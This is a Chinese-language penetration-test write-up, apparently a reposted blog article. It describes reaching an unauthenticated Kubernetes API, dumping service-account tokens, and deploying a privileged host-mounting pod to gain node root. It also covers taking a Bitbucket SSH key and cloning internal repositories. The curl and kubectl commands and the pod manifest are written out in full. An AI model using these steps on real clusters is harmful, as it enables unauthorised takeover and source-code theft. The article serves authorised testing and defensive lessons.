文章总结： 本文记录了一次渗透测试实战案例，测试人员通过未授权访问Kubernetes集群API获取31个服务账户令牌，进而创建特权Pod获得节点root权限，并在节点中发现Bitbucket仓库密钥，最终成功访问89个内部代码仓库。文章为红队提供’不忽视测试环境’的实战建议，为蓝队强调测试环境安全防护的重要性，并提醒安全人员勇于尝试看似不可能的攻击路径。 综合评分： 85 文章分类： 渗透测试,红队,实战经验,漏洞分析,安全运营
通过测试用的 Kubernetes 集群访问 Bitbucket
Ots安全
2026年6月18日 14:21 广东
在小说阅读器读本章
去阅读
威胁简报
恶意软件
漏洞攻击
我们之前已经报道过渗透测试人员如何查找和分析Kubernetes 集群。在本文中，我们将演示您可以通过此类集群获得哪些类型的访问权限。
在我们一次渗透测试项目中，进入内部网络后，我们发现一台主机使用了一个证书，该证书用于common name: system:kube-apiserver端口 443/TCP 上的服务。它看起来像是一个带有 Kubernetes API 的 Kubernetes 集群节点。
出乎意料的是，这个 API 无需身份验证即可访问（我们只检查了 GET 请求）。我们能够获取命名空间、Pod 以及最令人感兴趣的密钥等数据。我们由此推断这是一个测试用的 Kubernetes 集群。但我们仍然认为它值得我们关注：
proxychains4 curl -vk https://<ip_address>/api/v1/namespaces
proxychains4 curl -vk https://<ip_address>/api/v1/nodes
proxychains4 curl -vk https://<ip_address>/api/v1/pods
proxychains4 curl -vk https://<ip_address>/api/v1/secrets
我们从密钥中获取了 31 个服务帐户令牌（是的，无需身份验证）。我们研究了这些帐户的权限（集群角色绑定和集群角色对象），发现利用这些帐户，我们可以执行管理集群的任何操作，包括更改服务帐户角色、创建 Pod 以及在 Pod 中执行命令。
为了获得在节点上执行命令的能力，我们创建了一个具有以下配置的 pod（集群中的容器使用来自本地 Docker 注册表的镜像，因此我们指定了其中一个使用的镜像）：
apiVersion: v1
kind: Pod
metadata:
creationTimestamp: null
labels:
run: <my-pod>
name: <my-pod>
spec:
volumes:
- name: host-filesystem
hostPath:
path: /
containers:
- command:
- sleep
- 2d
image: <link_to_image>
name: <my-pod>
volumeMounts:
- mountPath: /mnt/
name: host-filesystem
resources: {}
securityContext:
privileged: true
runAsUser: 0
dnsPolicy: ClusterFirst
restartPolicy: Always
nodeName: <node_name>
hostNetwork: true
hostPID: true
hostIPC: true
status: {}
创建 pod 的命令：
HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> create -f <pod.yml>
创建 pod 后，我们运行bash命令并将根目录更改为节点的根目录：
HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> exec -it <my-pod> -- bash
chroot /mnt
这样，我们就获得了节点的 root 权限（为了持久化，我们可以将密钥放在 authorized_keys 文件中）。集群中有四个节点，因此我们创建了四个 Pod，分别nodeName在每个节点上执行。
在获得其中一个节点的特权访问权限后，我们在文件中找到了一个指向存储库的链接/opt/some-service/config.yaml：
https://bitbucket.domain.local/projects/SERVICE/repos/service-back/browse/some/dir/config.java
我们在该/home/some-user/.ssh/目录中找到了一个包含私钥的文件identity.bitbucket.domain.local。我们克隆了该仓库，并搜索了其中提及的其他仓库。共找到了 89 个仓库。
git clone ssh://[email protected]/SERVICE/service-back
grep -r -i 'bitbucket.domain.local' ./service-back
利用发现的密钥，我们成功访问了之前尝试克隆的代码仓库。我们推测，我们还能找到更多包含客户应用程序源代码的代码仓库，并且可以使用该密钥访问所有这些仓库。
结论：
对于红队来说：即使你意识到自己已经进入了测试环境，也不要放弃主机，四处看看。你可能会发现一些有用的东西，或者扩展你的网络访问权限。
对于蓝队来说：不要忘记测试环境，它们也需要保护。
致所有人：即使你认为某件事不可能（例如，在未进行身份验证的情况下从 Kubernetes API 获取密钥），也值得尝试一下。也许这次会成功。
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：Ots安全 《通过测试用的 Kubernetes 集群访问 Bitbucket》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论